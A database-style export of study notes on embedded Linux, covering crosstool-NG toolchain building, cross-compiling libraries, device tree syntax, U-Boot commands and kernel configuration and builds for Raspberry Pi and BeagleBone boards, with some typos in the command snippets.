2024-07-28 10:07:34.427832 0 +4451 1208 * CPU Architecture + Endianness (e.g. `x86_64`, `mipsel`, `armeb`)\n* Vendor (e.g. `buildroot`)\n* Kernel (e.g. `linux`)\n* Operating System + ABI (e.g. `gnueabi`, `gnueabihf`, `musleabi`, `musleabihf`) text txt 2024-07-28 10:07:34.701824 0 +4452 1209 gcc -dumpmachine code txt 2024-07-28 10:07:34.928312 0 +4453 1210 * glibc: https://gnu.org - https://gnu.org/software/libs\n* musl libs: [https://musl.libc.org](https: - https://musl.libc.org](https://musl.libc.org)\n* uClibc-ng: [https://uclibc-ng.org](https: - https://uclibc-ng.org](https://uclibc-ng.org)\n* eglibc: https://uclibc.org - https://uclibc.org/home text txt 2024-07-28 10:07:35.169529 0 +4454 1211 Toolchain can be completely built manually by [Cross Linux From Scratch](https://trac.clfs.org).\nAnother alternative to build toolchains is [crosstool-NG](https://crosstool-ng.github.io). text txt 2024-07-28 10:07:35.359299 0 +4455 1212 git clone https://github.com - https://github.com/crosstool-ng/crosstool-ng.git\ncd crosstool-ng\ngit checkout \n./bootstrap\n./configure --enable-local\nmake -j\n./ct-ng --version code txt 2024-07-28 10:07:35.734261 0 +4456 1213 ./ct-ng list-samples code txt 2024-07-28 10:07:35.974893 0 +4457 1214 ./ct-ng show-\n./ct-ng show-armv6-unknown-linux-gnueabihf\n./ct-ng show-arm-cortex_a8-linux-gnueabi\n./ct-ng show-arm-unknown-linux-gnueabi code txt 2024-07-28 10:07:36.294138 0 +4458 1215 Considering the processor used in this device which is `bmc2835` having an armv6 core, we should use the following target: text txt 2024-07-28 10:07:36.772554 0 +4459 1215 ./ct-ng distclean\n./ct-ng show-armv6-unknown-linux-gnueabihf\n./ct-ng armv6-unknown-linux-gnueabihf code txt 2024-07-28 10:07:36.793588 0 +4460 1215 Change following kernel configurations and set their values accordingly: text txt 2024-07-28 10:07:36.814995 0 +4461 1215 * Tarbal path\n* Build path\n* Vendor tuple text txt 2024-07-28 10:07:36.835934 0 +4462 1215 ./ct-ng build code txt 2024-07-28 10:07:36.85625 0 +4463 1216 ./ct-ng distclean\n./ct-ng show-arm-cortex_a8-linux-gnueabi\n./ct-ng arm-cortex_a8-linux-gnueabi code txt 2024-07-28 10:07:37.324718 0 +4464 1216 Change the following kernel configurations and set their values accordingly: text txt 2024-07-28 10:07:37.344273 0 +4465 1216 * **Paths and misc options** >> **Render the toolchain read-only**: disable\n* **Target options** >> **Floating point**: **hardware (FPU)**\n* **Target options** >> **Use specific FPU**: neon text txt 2024-07-28 10:07:37.364444 0 +4466 1216 ./ct-ng build code txt 2024-07-28 10:07:37.38545 0 +4467 1217 ./ct-ng distclean\n./ct-ng show-arm-unknown-linux-gnueai\n./ct-ng arm-unknown-linux-gnueai code txt 2024-07-28 10:07:37.81149 0 +4468 1217 Change the following kernel configurations and set their values accordingly: text txt 2024-07-28 10:07:37.830813 0 +4938 1400 Origin: Effectively use module commands text txt 2024-07-28 10:08:56.650319 0 +4469 1217 * **Paths and misc options** >> disable **Render the toolchain read-only** text txt 2024-07-28 10:07:37.850688 0 +4470 1217 ./ct-ng build code txt 2024-07-28 10:07:37.871267 0 +4471 1218 ${CROSS_COMPILE}gcc -v code txt 2024-07-28 10:07:38.085536 0 +4472 1219 ${CROSS_COMPILE}gcc -mcpu=cortex-a5 main.c -o app code txt 2024-07-28 10:07:38.309831 0 +4473 1220 ${CROSS_COMPILE}gcc --target-help code txt 2024-07-28 10:07:38.539672 0 +4474 1221 ${CROSS_COMPILE}gcc -print-sysroot code txt 2024-07-28 10:07:38.798208 0 +4475 1222 * libc (linked by default)\n* libm\n* libpthread\n* librt text txt 2024-07-28 10:07:39.019435 0 +4476 1223 ${CROSS_COMPILE}readelf -a app | grep "Shared library" code txt 2024-07-28 10:07:39.225501 0 +4477 1224 ${CROSS_COMPILE}readelf -a app | grep "program interpreter" code txt 2024-07-28 10:07:39.447907 0 +4478 1225 ${CROSS_COMPILE}gcc -static main.c -o app code txt 2024-07-28 10:07:39.712556 0 +4479 1226 SYSROOT=$(${CROSS_COMPILE}gcc -print-sysroot)\ncd $SYSROOT\nls -l usr/lib/libc.a code txt 2024-07-28 10:07:39.994662 0 +4480 1227 ${CROSS_COMPILE}gcc -c test1.o\n${CROSS_COMPILE}gcc -c test2.o\n${CROSS_COMPILE}ar rc libtest1.a test1.o test2.o\n${CROSS_COMPILE}gcc main.c -ltest -L../libs -I../include -o app code txt 2024-07-28 10:07:40.276688 0 +4481 1228 ${CROSS_COMPILE}gcc -fPIC -c test1.c\n${CROSS_COMPILE}gcc -fPIC -c test2.c\n${CROSS_COMPILE}gcc -shared -o libtest.so test1.o test2.o\n${CROSS_COMPILE}gcc main.c -ltest -L../libs -I../include -o app\n${CROSS_COMPILE}readelf -a app | grep library\n${CROSS_COMPILE}readelf -a app | grep interpreter code txt 2024-07-28 10:07:40.59733 0 +4482 1229 ${CROSS_COMPILE}readelf -a /usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2 | grep SONAME\nlibjpeg.so.8 code txt 2024-07-28 10:07:40.868055 0 +4483 1230 By using environment variables to specify toolchains: text txt 2024-07-28 10:07:41.25667 0 +4484 1230 export CROSS_COMPILE=armv6-rpi-linux-gnueabihf-\nmake code txt 2024-07-28 10:07:41.27646 0 +4485 1230 Or by specifying behind the `make` command directly: text txt 2024-07-28 10:07:41.296512 0 +4486 1230 make CROSS_COMPILE=armv6-rpi-linux-gnueabihf- code txt 2024-07-28 10:07:41.316086 0 +4487 1231 * GNU Autoconf [https::/gnu.org/software/autoconf/autoconf.html](https::/gnu.org/software/autoconf/autoconf.html)\n* GNU Automake https://gnu.org - https://gnu.org/savannah-checkouts/gnu/automake\n* GNU Libtool https://gnu.org - https://gnu.org/software/libtool/libtool.html\n* Gnulib https://gnu.org - https://gnu.org/software/gnulib text txt 2024-07-28 10:07:41.664612 0 +4488 1231 ./configure\nmake\nmake install code txt 2024-07-28 10:07:41.685467 0 +4489 1232 CC=armv6-rpi-linux-gnueabihf-gcc ./configure --host=armv6-rpi-linux-gnueabihf code txt 2024-07-28 10:07:41.89893 0 +4490 1233 wget http://www.sqlite.org/2020/sqlite-autoconf-3330000.tar.gz\ntar xf sqlite-autoconf-3330000.tar.gz\ncd sqlite-autoconf-3330000\nCC=armv6-rpi-linux-gnueabihf-gcc ./configure --host=armv6-rpi-linux-gnueabihf --prefix=/usr\nmake\nmake DESTDIR=$(armv6-rpi-linux-gnueabi-gcc -print-sysroot) install text txt 2024-07-28 10:07:42.266568 0 +4491 1233 armv6-rpi-linux-gnueabihf main.c -o sqlite-test -lsqlite3 code txt 2024-07-28 10:07:42.288288 0 +4492 1234 In order for `pkg-config` to address library and header files belonging to *sqlite3*, it should be able to see `/usr/lib/pkgconfig/sqlite3.pc`: text txt 2024-07-28 10:07:42.578411 0 +4493 1234 export CROSS_COMPILE="xtools/armv6-rpi-linux-gnueabihf-"\nexport PKG_CONFIG_LIBDIR=$(${CROSS_COMPILE}gcc -print-sysroot)/usr/lib/pkgconfig\n${CROSS_COMPILE}gcc $(pkg-config sqlite3 --cflags --libs) main.c -o sqlite-test code txt 2024-07-28 10:07:42.599988 0 +4494 1235 export CROSS_COMPILE="xtools/armv6-rpi-linux-gnueabihf-"\ncmake -S . -B build -D CMAKE_INSTALL_PREFIX:PATH=sysroot -D CMAKE_C_COMPILER:PATH=${CROSS_COMPILE}gcc\ncmake --build build --parallel 8 --target all\ncmake --build build --parallel 8 --target install code txt 2024-07-28 10:07:42.89016 0 +4495 1236 * **Phase 1 Rom Code**: loads a small chunk of code from first few pages of NAND, from flash memory connected through **Serial Peripheral Interface**, or from the first sector of an MMC device, or from a file named ML on the first partition of an MMC device.\n* **Phase 2 Secondary Program Loader (SPL)**: sets up memory controller and other essential parts of the system in preparation for loading the **TPL** into DRAM.\n* **Phase 3 Tertiary Program Loader (TPL)**: full bootloader such as U-Boot loads the kernel + optional FDT and initramfs into DRAM. text txt 2024-07-28 10:07:43.120753 0 +4496 1237 * The machine number, which is used on PowerPC and Arm platform without support for a device tree, to Identify the type of SoC.\n* Basic details of the hardware that's been detected so far, including the size and location of the physical RAM and the CPU's clock speed.\n* The kernel command line.\n* Optionally, the location and size of a device tree binary.\n* Optionally, the location and size of an initial RAM disk, called the **initial RAM file system (initramfs)**. text txt 2024-07-28 10:07:43.369459 0 +4497 1238 * https://github.com - https://github.com/devicetree-org/devicetree-specification/releases text txt 2024-07-28 10:07:43.539654 0 +4498 1239 * Device tree begins with a root node.\n* **reg** property referes to a range of units in a register space. text txt 2024-07-28 10:07:44.234982 0 +4499 1239 /dts-v1/;\n/{\n model = "TI AM335x BeagleBone";\n compatible = "ti,am33xx";\n #address-cells = <1>;\n #size-cells = <1>;\n cpus {\n #address-cells = <1>;\n #size-cells = <0>;\n cpu@0 {\n compatible = "arm,cortex-a8";\n device_type = "cpu";\n reg = <0>;\n };\n };\n memory@80000000 {\n device_type = "memory";\n reg = <0x80000000 0x20000000>; /* 512 MB */\n };\n}; code txt 2024-07-28 10:07:44.256589 0 +4500 1240 * Labels used can be expressed in connections to reference to a node.\n* Labels are also referred to as **phandles**.\n* **interrupt-controller** property identifies not as interrupt controller.\n* **interrupt-parrent** property references the interrupt controller. text txt 2024-07-28 10:07:44.926568 0 +4501 1240 /dts-v1/;\n{\n intc: interrupt-controller@48200000 {\n compatible = "ti,am33xx-intc";\n interrupt-controller;\n #interrupt-cells = <1>;\n reg = <0x48200000 0x1000>;\n };\n lcdc: lcdc@48200000 {\n compatible = "ti,am33xx-tilcdc";\n reg = <0x4830e000 0x1000>;\n interrupt-parent = <&intc>;\n interrupts = <36>;\n ti,hwmods = "lcdc";\n status = "disabled";\n };\n}; code txt 2024-07-28 10:07:44.948881 0 +4502 1241 /include/ "vexpress-v2m.dtsi" code txt 2024-07-28 10:07:45.212148 0 +4503 1242 * The **status** is disabled, meaning that no device driver should be bound to it. text txt 2024-07-28 10:07:46.080014 0 +4504 1242 mmc1: mmc@48060000 {\n compatible = "ti,omap4-hsmmc";\n t.hwmods = "mmc1";\n ti,dual-volt;\n ti,needs-special-reset;\n ti,needs-special-hs-handling;\n dmas = <&edma_xbar 24 0 0 &edma_xbar 25 0 0>;\n dma_names = "tx", "rx";\n interrupts = <64>;\n reg = <0x48060000 0x1000>;\n status = "disabled";\n}; code txt 2024-07-28 10:07:46.101175 0 +4505 1242 * The **status** property is set to *okay*, which causes the MMC device driver to bind with this interface. text txt 2024-07-28 10:07:46.121655 0 +4506 1242 &mmc1 {\n status = "okay";\n bus-width = <0x4>;\n pinctrl-names = "default";\n pinctrl-0 = <&mmc1_pins>;\n cd-gpios = <&gpio0 6 GPIO_ACTIVE_LOW>;\n}; code txt 2024-07-28 10:07:46.14257 0 +4555 1266 `CONFIG_LOCALVERSION` option is the release information string to be appended to kernel release.\nKernel version can never be appended. text txt 2024-07-28 10:07:54.199562 0 +4507 1242 * The **mmc1** interface is connected to a different voltage regulator on the BeagleBone Black as expressed in am335x-boneblack.dts, which associates it with the voltage regulator via the **vmmcsd_fixed** label: text txt 2024-07-28 10:07:46.163684 0 +4508 1242 &mmc1 {\n vmmc-supply = <&vmmcsd_fixed>;\n}; code txt 2024-07-28 10:07:46.183902 0 +4509 1243 dtc beaglebone-black.dts -o beaglebone-black.dtb code txt 2024-07-28 10:07:46.403942 0 +4510 1244 git clone git:://git.denx.de/u-boot.git\ncd u-boot\ngit checkout v2021.01\nmake ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- am335x_emv_defconfig\nmake ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- -j2\nsudo fdisk /dev/sda\nmkfs.vfat -F 16 -n boot /dev/sda1\nmkfs.ext4 -L rootfs /dev/sda2\nmount /dev/sda1 /run/media/brian/boot\ncp MLO u-boot.img /run/media/brian/boot\numount /run/media/brian/boot\npicocom -b 115200 /dev/ttyUSB0 code txt 2024-07-28 10:07:47.019788 0 +4511 1244 The results of the compilation: text txt 2024-07-28 10:07:47.041243 0 +4512 1244 * `u-boot`: U-Boot in ELF object format, suitable for use with a debugger\n* `u-boot.map`: The symbol table\n* `u-boot.bin`: U-Boot in raw binary format, suitable for running on your device\n* `u-boot.img`: This is `u-boot.bin` with a U-Boot header added, suitable for uploading to a running copy of U-Boot\n* `u-boot.srec`: U-Boot in Motoral S-record (**SRECORD** or **SRE**) format, suitable for transferring over a serial connection\n* `MLO`: The BeagleBone Black also requires a **SPL** which is built here text txt 2024-07-28 10:07:47.063237 0 +4513 1245 Read `0x200000` bytes from offset `0x400000` from the start of the NAND memory into RAM address `0x82000000` text txt 2024-07-28 10:07:47.349398 0 +4514 1245 nand read 82000000 400000 200000 code txt 2024-07-28 10:07:47.370202 0 +4515 1246 setenv foo bar\nprintenv foo text txt 2024-07-28 10:07:47.671954 0 +4516 1246 setenv foo # reset foo\nprintenv # print all environment variables code txt 2024-07-28 10:07:47.692792 0 +4517 1247 mkimage --help\nmkimage -A arm -O linux -T kernel -C gzip -a 0x80008000 0e 0x80008000 -n 'Linux' -d zImage uImage code txt 2024-07-28 10:07:47.963648 0 +4518 1248 mmc rescan\nfatload mmc 0:1 82000000 uimage\niminfo 82000000 code txt 2024-07-28 10:07:48.220749 0 +4519 1249 setenv ipaddr 192.168.1.12\nsetenv serverip 192.168.1.18\ntftp 82000000 uImage\ntftpboot 82000000 uimage\nnandecc hw\nnand erase 280000 400000\nnand write 82000000 280000 400000\nnand read 82000000 280000 400000 code txt 2024-07-28 10:07:48.631199 0 +4520 1250 # bootm [kernel address] [ramdist address] [dtb address]\nbootm 82000000 - 83000000 code txt 2024-07-28 10:07:48.871037 0 +4521 1251 setenv bootcmd nand read 82000000 400000 200000\\\\;bootm 82000000 code txt 2024-07-28 10:07:49.114712 0 +4522 1252 To follow kernel mainline, below repository should be used: text txt 2024-07-28 10:07:49.508498 0 +4523 1252 git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git code txt 2024-07-28 10:07:49.528883 0 +4524 1252 To use long-term releases of the kernel, below repository should be used instead: text txt 2024-07-28 10:07:49.549176 0 +4525 1252 git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git code txt 2024-07-28 10:07:49.569314 0 +4526 1253 Follow up overviews of each kernel release on **KernelNewbies** to see changes. text txt 2024-07-28 10:07:49.772849 0 +4527 1254 * `arch`: architecture specific files.\n* `Documentation`: main kernel documentation.\n* `drivers`: device drivers, each type having specific subdirectory.\n* `fs`: filesystem code.\n* `include`: kernel header files, including required headers for building the toolchain.\n* `init`: kernel startup code.\n* `kernel`: core functions, including scheduling, locking, timers, power management, and debug/trace code.\n* `mm`: memory management.\n* `net`: network protocols.\n* `scripts`: useful scripts, including the **device tree compiler**.\n* `tools`: useful tools, including the Linux performance counters tool, `perf`. text txt 2024-07-28 10:07:50.137979 0 +4528 1255 The configuration mechanism is called `Kconfig`, and the build system that it integrates with it is called `Kbuild`. text txt 2024-07-28 10:07:50.372422 0 +4529 1256 The value you put into `ARCH` is one of the subdirectories you find in the `arch` directory in the kernel source tree. text txt 2024-07-28 10:07:50.575556 0 +4530 1257 Each `config` identifier is constructed as follows: text txt 2024-07-28 10:07:51.048982 0 +4531 1257 menu "Menu Title"\n[...]\nconfig EXAMPLE\n bool "config inline description"\n default [y,m,n]\n help\n multi-line config description.\n[...]\nendmenu code txt 2024-07-28 10:07:51.069812 0 +4532 1257 This config can be found in `.config` file as `CONFIG_EXAMPLE=y`. text txt 2024-07-28 10:07:51.09034 0 +4533 1258 * `bool`: either `y` or not defined.\n* `tristate`: feature can be built as a kernel module or built into the main kernel image.\n* `int`: integer value using decimal notation.\n* `hex`: unsigned integer value using hexadecimal notation.\n* `string`: string value. text txt 2024-07-28 10:07:51.33245 0 +4534 1259 Dependencies can be expressed by `depends on` construct: text txt 2024-07-28 10:07:51.879239 0 +4535 1259 config EXAMPLE\n tristate "config inline description"\n depends on DEPENDENCY code txt 2024-07-28 10:07:51.900018 0 +4536 1259 `EXAMPLE` will not be shown in menu if `DEPENDENCY` is not set. text txt 2024-07-28 10:07:51.920378 0 +4537 1259 Reverse dependencies can be expressed by `select` construct, as an example in `arch/arm` text txt 2024-07-28 10:07:51.93998 0 +4538 1259 config ARM\n bool\n default y\n select ARCH_KEEP_MEMBLOCK\n ... code txt 2024-07-28 10:07:51.960898 0 +4539 1259 Selecting any config as reverse dependency, sets its value as `y`. text txt 2024-07-28 10:07:51.980754 0 +4540 1260 * `menuconfig`: requires `ncurses`, `flex`, and `bison` packages.\n* `xconfig`\n* `gconfig` text txt 2024-07-28 10:07:52.197062 0 +4541 1261 There is a set of known working configuration files in `arch/$ARCH/configs`, each containing suitable configuration values for a single SoC or a group of SoCs. text txt 2024-07-28 10:07:52.613876 0 +4542 1261 To make configuration for `arm64` SoCs: text txt 2024-07-28 10:07:52.634836 0 +4543 1261 make ARCH=arm64 defconfig code txt 2024-07-28 10:07:52.655632 0 +4544 1261 To make configuration for SoC of `raspberry pi zero`, considering its `bcm2835` 32-bits processor: text txt 2024-07-28 10:07:52.675758 0 +4545 1261 make ARCH=arm bcm2835_defconfig code txt 2024-07-28 10:07:52.696267 0 +4546 1262 `ARCH` environment variable needs to be set for almost all `make` targets: text txt 2024-07-28 10:07:52.993178 0 +4547 1262 make ARCH=arm menuconfig code txt 2024-07-28 10:07:53.014705 0 +4548 1263 The `oldconfig` target validates modified `.config`. text txt 2024-07-28 10:07:53.426943 0 +4549 1263 make ARCH=arm oldconfig code txt 2024-07-28 10:07:53.448636 0 +4550 1263 Use `olddefconfig` target to use a preconfigured `.config` file and set new parameters as default. text txt 2024-07-28 10:07:53.469887 0 +4551 1263 make ARCH=arm olddefconfig code txt 2024-07-28 10:07:53.490744 0 +4552 1264 A header file `include/generated/autoconf.h` contains `#define` preprocessors to be included in the kernel source. text txt 2024-07-28 10:07:53.696712 0 +4553 1265 This is reported at runtime through the `uname` command.\nIt is also used in naming the directory where kernel modules are stored. text txt 2024-07-28 10:07:53.988365 0 +4554 1265 make ARCH=arm kernelversion\nmake ARCH=arm kernelrelease code txt 2024-07-28 10:07:54.009157 0 +4556 1267 `Kbuild` takes configurations from `.config` file and follows below pattern in make files such as `drivers/char/Makefile`: text txt 2024-07-28 10:07:54.47451 0 +4557 1267 obj-y += mem.o random.o\nobj-$(CONFIG_TTY_PRINTK) += ttyprintk.o code txt 2024-07-28 10:07:54.493944 0 +4558 1268 * `ARCH`: architecture name\n* `CROSS_COMPILE`: toolchain prefix ending with a hyphen, visible in `PATH` text txt 2024-07-28 10:07:54.684764 0 +4559 1269 * **U-Boot**: traditionally `uImage`, but newer versions can load `zImage`\n* **x86 targets**: `bzImage`\n* **Most other bootloaders**: `zImage` text txt 2024-07-28 10:07:55.022086 0 +4560 1269 make -j $(($(nproc) / 2)) ARCH=arm CROSS_COMPILE=armv6-rpi-linux-gnueabihf- zImage code txt 2024-07-28 10:07:55.043595 0 +4561 1270 The relocation address is coded into the `uImage` header by the `mkimage` command when the kernel is built, but fails with multiple reloaction addresses. text txt 2024-07-28 10:07:55.287568 0 +4562 1270 make -j $(($(nproc)/2)) ARCH=arm CROSS_COMPILE=arm-rpi-linux-gnueabihf- LOADADDR=0x80008000 uImage code txt 2024-07-28 10:07:55.309983 0 +4563 1271 * `vmlinux`: the kernel as an ELF binary, suited for debugging by `kgdb`.\n* `System.map`: the symbol table in a human-readable form.\n* `arch/$ARCH/boot`: the directory containing vmlinux image converted for bootloaders. text txt 2024-07-28 10:07:55.591019 0 +4564 1271 * `arch/$ARCH/boot/Image`: `vmlinux` converted to raw binary format.\n* `zImage`: compressed version of `Image`.\n* `uImage`: `zImage` plus a 64-byte U-Boot header. text txt 2024-07-28 10:07:55.612493 0 +4565 1272 By enabling `CONFIG_DEBUG_INFO` configuration option. text txt 2024-07-28 10:07:55.783328 0 +4566 1273 make -j $(($(nproc)/2)) ARCH=arm CROSS_COMPILE=arm-rpi-linux-gnueabihf- V=1 zImage code txt 2024-07-28 10:07:56.019872 0 +4567 1274 Compiling device trees: text txt 2024-07-28 10:07:56.527624 0 +4568 1274 make ARCH=arm dtbs code txt 2024-07-28 10:07:56.546945 0 +4569 1274 Compiling modules: text txt 2024-07-28 10:07:56.566891 0 +4570 1274 make -j 8 ARCH=arm CROSS_COMPILE=arm-rpi-linux-gnueabihf- modules code txt 2024-07-28 10:07:56.587333 0 +4571 1274 Install modules: text txt 2024-07-28 10:07:56.60906 0 +4572 1274 make -j 8 ARCH=arm CROSS_COMPILE=arm-rpi-linux-gnueabihf- INSTALL_MOD_PATH=/run/media/user/rootfs install_modules code txt 2024-07-28 10:07:56.630332 0 +4573 1275 * `clean`: remove object files and most intermediates.\n* `mrproper`: remove all intermediate files and `.config` file.\n* `distclean`: remove all, also delete editor backup files, patch files, and other artifacts. text txt 2024-07-28 10:07:56.856702 0 +4574 1276 Raspberry Pi is a little different here. So prebuilt binaries or patched sources are preferred: text txt 2024-07-28 10:07:57.979921 0 +4575 1276 * Clone a stable branch of Raspberry Pi Foundations' kernel fork into a `linux` directory.\n* Export contents of the `boot` subdirectory from Raspberry Pi Foundation's `firmware` repo to a `boot` directory.\n* Delete existing kernel images, device tree blobs, and device tree overlays from the `boot` directory.\n* From the `linux` directory, build the 64-bit kernel, modules, and device tree for the Raspberry Pi 4.\n* Copy the newly built kernel image, device tree blobs, and device tree overlays from `arch/arm64/boot/` to the `boot` directory.\n* Write `config.txt` and `cmdline.txt` files out to the boot directory for the Raspberry Pi's bootloader to read and pass to the kernel. text txt 2024-07-28 10:07:58.000905 0 +4576 1276 Prebuilt toolchain: text txt 2024-07-28 10:07:58.021865 0 +4577 1276 https://developer.arm.com - https://developer.arm.com/-/media/Files/downloads/gnu-a/10.3-2021.07/binrel/gcc-arm-10.3-2021.07-x86_64-aarch64-none-linux-gnu.tar.xz?rev=1cb9c51b94f54940bdcccd791451cec3&hash=A56CA491FA630C98F7162BC1A302F869 text txt 2024-07-28 10:07:58.042473 0 +4578 1276 * Clone a stable branch of Raspberry Pi Foundations' kernel fork into a `linux` directory.\n* Export contents of the `boot` subdirectory from Raspberry Pi Foundation's `firmware` repo to a `boot` directory.\n* Delete existing kernel images, device tree blobs, and device tree overlays from the `boot` directory.\n* From the `linux` directory, build the 64-bit kernel, modules, and device tree for the Raspberry Pi 4.\n* Copy the newly built kernel image, device tree blobs, and device tree overlays from `arch/arm64/boot/` to the `boot` directory.\n* Write `config.txt` and `cmdline.txt` files out to the boot directory for the Raspberry Pi's bootloader to read and pass to the kernel. text txt 2024-07-28 10:07:58.064803 0 +4579 1276 Patched kernel source for Raspberry Pi: text txt 2024-07-28 10:07:58.085223 0 +4580 1276 https://github.com - https://github.com/raspberrypi/linux.git text txt 2024-07-28 10:07:58.105745 0 +4581 1276 cd ~\nwget [AArch64 GNU/Linux target (aarch64-none-linux-gnu)]\ntar xf archive.tar.xz\nmv gcc-executable gcc-arm-aarch32-none-linux-gnu\nsudo pacman -S subversion openssl\ngit clone --depth 1 -b rpi-4.5.y https://github.com - https://github.com/raspberrypi/linux.git\nsvn export https://github.com - https://github.com/raspberrypi/firmware/trunk/boot\nrm boot/kernel*\nrm boot/*.dtb\nrm boot/overlays/*.dtbo text txt 2024-07-28 10:07:58.127431 0 +4582 1276 PATH=~/gcc-arm-aarch64-none-linux-gnu/bin/:$PATH\ncd linux\nmake ARCH=arm64 CROSS_COMPILE=aarch64-none-linux-gnu- bcm2711_defconfig\nmake -j $(($(nproc)/2)) ARCH=arm64 CROSS_COMPILE=aarch64-none-linux-gnu-\ncp arch/arm64/boot/Image ../boot/kernel8.img\ncp arch/arm64/boot/dts/overlays/*.dtbo ../boot/overlays/\ncp arch/arm64/boot/dts/broadcom/*.dtb ../boot\necho 'enable_uart=1' > ../boot/config.txt\necho 'arm_64bit=1' >> ../boot/config.txt\necho 'console=serial0,115200 console=tty1 root=/dev/mmcblk0p2 rootwait' > ../boot/cmdline.txt code txt 2024-07-28 10:07:58.149162 0 +4583 1277 Prebuilt toolchain:\n[AArch32 target with hard float (arm-none-linux-gnueabihf)](AArch32 target with hard float (arm-none-linux-gnueabihf)) text txt 2024-07-28 10:07:58.832085 0 +4584 1277 cd ~\nwget [AArch32 GNU/Linux target (aarch32-none-linux-gnu)]\ntar xf archive.tar.xz\nmv gcc-executable gcc-arm-aarch32-none-linux-gnu\nsudo pacman -S subversion openssl\ngit clone --depth 1 -b rpi-4.5.y https://github.com - https://github.com/raspberrypi/linux.git\nsvn export https://github.com - https://github.com/raspberrypi/firmware/trunk/boot\nrm boot/kernel*\nrm boot/*.dtb\nrm boot/overlays/*.dtbo text txt 2024-07-28 10:07:58.853843 0 +4585 1277 PATH=~/gcc-arm-aarch32-none-linux-gnu/bin/:$PATH\ncd linux\nmake ARCH=arm CROSS_COMPILE=aarch32-none-linux-gnu- bcm2711_defconfig\nmake -j $(($(nproc)/2)) ARCH=arm CROSS_COMPILE=aarch32-none-linux-gnu-\ncp arch/arm/boot/Image ../boot/kernel8.img\ncp arch/arm/boot/dts/overlays/*.dtbo ../boot/overlays/\ncp arch/arm/boot/dts/broadcom/*.dtb ../boot\necho 'enable_uart=1' > ../boot/config.txt\necho 'console=serial0,115200 console=tty1 root=/dev/mmcblk0p2 rootwait' > ../boot/cmdline.txt code txt 2024-07-28 10:07:58.875498 0 +4586 1278 cd linux-stable\nmake ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- distclean\nmake ARCH=arm multi_v7_defconfig\nmake ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- zImage -j $(($(nproc)/2))\nmake ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- modules -j $(($(nproc)/2))\nmake ARCH=arm CROSS_COMPILE=arm-cortex_a8-linux-gnueabihf- dts code txt 2024-07-28 10:07:59.20933 0 +4587 1279 cd linux-stable\nmake ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnueabihf- distclean\nmake ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnueabihf- zImage -j $(($(nproc)/2))\nmake ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnueabihf- modules -j $(($(nproc)/2))\nmake ARCH=arm CROSS_COMPILE=arm-unknown-linux-gnueabihf- dts code txt 2024-07-28 10:07:59.513999 0 +4588 1280 Nothing.\nRaspberry Pis use a proprietary bootloader provided by Broadcom instead of U-Boot.\nKernel will boot and ends with a kernel panic because of the abcense of root filesystem. text txt 2024-07-28 10:07:59.764288 0 +4627 1293 b.trace_print() code txt 2024-07-28 10:08:15.260015 0 +4589 1281 fatload mmc 0:1 0x80200000 zImage\nfatload mmc 0:1 0x80f00000 am335x-boneblack.dtb\nsetenv bootargs console=ttyo0\nbootz 0x80200000 - 0x80f00000 code txt 2024-07-28 10:08:00.04649 0 +4590 1282 QEMU_AUDIO_DRV=none qemu-system-arm -m 256M -nographic -M versatilepb -kernel zImage -apend "console=ttyAMA0,115200" -dtb versatile-pb.dts" code txt 2024-07-28 10:08:00.263031 0 +4591 1283 The kernel has to mount a root filesystem and execute the first user space process via a ramdisk or by mounting a real filesystem on a block device. text txt 2024-07-28 10:08:00.630642 0 +4592 1283 The code for this process is in `init/main.c`, starting with `rest_init()` function which creates the first thread with PID 1 and runs the code in `kernel_init()`. text txt 2024-07-28 10:08:00.651161 0 +4593 1283 If there is a ramdisk, it will try to execute the program `/init`, which will take on the task of setting up the user space. text txt 2024-07-28 10:08:00.672321 0 +4594 1283 If the kernel fails to find and run `/init`, it tries to mount a filesystem by calling the `prepare_namespace()` function in `init/do_mounts.c`. text txt 2024-07-28 10:08:00.693751 0 +4595 1283 root=/dev/ mmcblk0p1 code txt 2024-07-28 10:08:00.715552 0 +4596 1284 * `debug`: set console log level.\n* `init`: the `init` program to run from a mounted root filesystem which defaults to `/sbin/init`.\n* `lpj`: sets `loops_per_jiffy` to a given constant.\n* `panic`: behavior when the kernel panics. above zero is number of seconds before reboot, zero waits forever, and below zero reboots instantly.\n* `quiet`: no log levels.\n* `rdinit`: the `init` program to run from a ramdisk. defaults to `/init`.\n* `ro`: mounts root device as read-only.\n* `root`: the device on which to mount the root filesystem.\n* `rootdelay`: number of seconds to wait before mounting root device.\n* `rootfstype`: filesystem type for the root device.\n* `rootwait`: wait indefinitely for the root device to be detected.\n* `rw`: mounts root device as read-write (default). text txt 2024-07-28 10:08:01.093755 0 +4597 1285 By setting `lpj=4980736` to the kernel parameter.\nThe number should be different on each device. text txt 2024-07-28 10:08:01.282708 0 +4598 1286 code txt 2024-07-28 10:08:01.478188 0 +4599 1287 /dts-v1/; text txt 2024-07-28 10:08:03.189998 0 +4600 1287 #include "am33xx.dtsi"\n#include "am335x-bone-common.dtsi"\n#include "am335x-boneblack-common.dtsi" text txt 2024-07-28 10:08:03.210736 0 +4601 1287 / {\n model = "Nova";\n compatible = "ti,am335x-bone-black", "ti,am335x-bone", "ti,am33xx";\n}; text txt 2024-07-28 10:08:03.23158 0 +4602 1287 / {\n model = "Nova";\n compatible = "ti,nova", "ti,am33xx";\n};\n[…] code txt 2024-07-28 10:08:03.252468 0 +4603 1287 make ARCH=arm nova.dtb code txt 2024-07-28 10:08:03.273014 0 +4604 1287 *arch/arm/boot/dts/Makefile*\n[…]\ndtb-$(CONFIG_SOC_AM33XX) += nova.dtb\n[…] code txt 2024-07-28 10:08:03.29378 0 +4605 1287 *arch/arm/mach-omap2/board-generic.c*\n#ifdef CONFIG_SOC_AM33XX\nstatic const char *const am33xx_boards_compat[] __initconst = {\n "ti,am33xx",\n NULL,\n}; text txt 2024-07-28 10:08:03.314129 0 +4606 1287 DT_MACHINE_START(AM33XX_DT, "Generic AM33XX (Flattened Device 